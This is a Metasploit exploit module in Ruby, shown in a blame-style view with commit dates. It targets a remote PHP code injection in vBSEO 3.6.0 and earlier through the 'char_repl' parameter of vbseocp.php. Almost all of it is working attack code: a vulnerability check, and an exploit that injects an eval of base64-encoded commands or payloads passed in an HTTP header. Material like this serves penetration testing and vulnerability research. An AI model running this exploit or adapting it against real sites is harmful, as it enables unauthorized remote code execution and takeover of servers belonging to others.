2012-01-30 22:15:27 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2012-01-30 22:15:27 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2012-02-01 02:43:32 +00:00
|
|
|
Rank = ExcellentRanking
|
2012-01-30 22:15:27 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2012-02-21 17:03:18 +00:00
|
|
|
'Name' => 'vBSEO <= 3.6.0 proc_deutf() Remote PHP Code Injection',
|
2012-01-30 22:15:27 +00:00
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a vulnerability in the 'proc_deutf()' function
|
|
|
|
defined in /includes/functions_vbseocp_abstract.php. User input passed through
|
|
|
|
'char_repl' POST parameter isn't properly sanitized before being used in a call
|
|
|
|
to preg_replace() function which uses the 'e' modifier. This can be exploited to
|
|
|
|
inject and execute arbitrary code leveraging the PHP's complex curly syntax.
|
|
|
|
},
|
|
|
|
'Author' => 'EgiX <n0b0d13s[at]gmail.com>', # originally reported by the vendor
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
2012-01-31 13:06:33 +00:00
|
|
|
['OSVDB', '78508'],
|
2012-01-30 22:15:27 +00:00
|
|
|
['BID', '51647'],
|
|
|
|
['URL', 'http://www.vbseo.com/f5/vbseo-security-bulletin-all-supported-versions-patch-release-52783/'],
|
2012-01-30 22:17:25 +00:00
|
|
|
['URL', 'http://www.exploit-db.com/exploits/18424/']
|
2012-01-30 22:15:27 +00:00
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'DisableNops' => true,
|
|
|
|
'Space' => 8190,
|
|
|
|
'Keys' => ['php'],
|
|
|
|
},
|
|
|
|
'Platform' => ['php'],
|
|
|
|
'Arch' => ARCH_PHP,
|
|
|
|
'Targets' => [[ 'Automatic', { }]],
|
|
|
|
'DisclosureDate' => 'Jan 23 2012',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('URI', [true, "The full URI path to vBulletin", "/vb/"]),
|
2012-01-30 23:34:58 +00:00
|
|
|
OptString.new('CMD', [false, "Command to execute"])
|
2012-01-30 22:15:27 +00:00
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
flag = rand_text_alpha(rand(10)+10)
|
|
|
|
data = "char_repl='{${print(#{flag})}}'=>"
|
|
|
|
|
|
|
|
uri = ''
|
|
|
|
uri << datastore['URI']
|
|
|
|
uri << '/' if uri[-1,1] != '/'
|
|
|
|
uri << 'vbseocp.php'
|
|
|
|
|
|
|
|
response = send_request_cgi({
|
|
|
|
'method' => "POST",
|
|
|
|
'uri' => uri,
|
|
|
|
'data' => "#{data}"
|
|
|
|
})
|
|
|
|
|
|
|
|
if response.code == 200 and response.body =~ /#{flag}/
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
end
|
|
|
|
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
if datastore['CMD']
|
|
|
|
p = "passthru(\"%s\");" % datastore['CMD']
|
|
|
|
p = Rex::Text.encode_base64(p)
|
|
|
|
else
|
|
|
|
p = Rex::Text.encode_base64(payload.encoded)
|
|
|
|
end
|
|
|
|
|
|
|
|
data = "char_repl='{${eval(base64_decode($_SERVER[HTTP_CODE]))}}.{${die()}}'=>"
|
|
|
|
|
|
|
|
uri = ''
|
|
|
|
uri << datastore['URI']
|
|
|
|
uri << '/' if uri[-1,1] != '/'
|
|
|
|
uri << 'vbseocp.php'
|
|
|
|
|
|
|
|
response = send_request_cgi({
|
|
|
|
'method' => 'POST',
|
|
|
|
'uri' => uri,
|
|
|
|
'data' => data,
|
|
|
|
'headers' => { 'Code' => p }
|
|
|
|
})
|
|
|
|
|
|
|
|
vprint_status(response.body)
|
|
|
|
end
|
|
|
|
|
2012-01-31 13:06:33 +00:00
|
|
|
end
|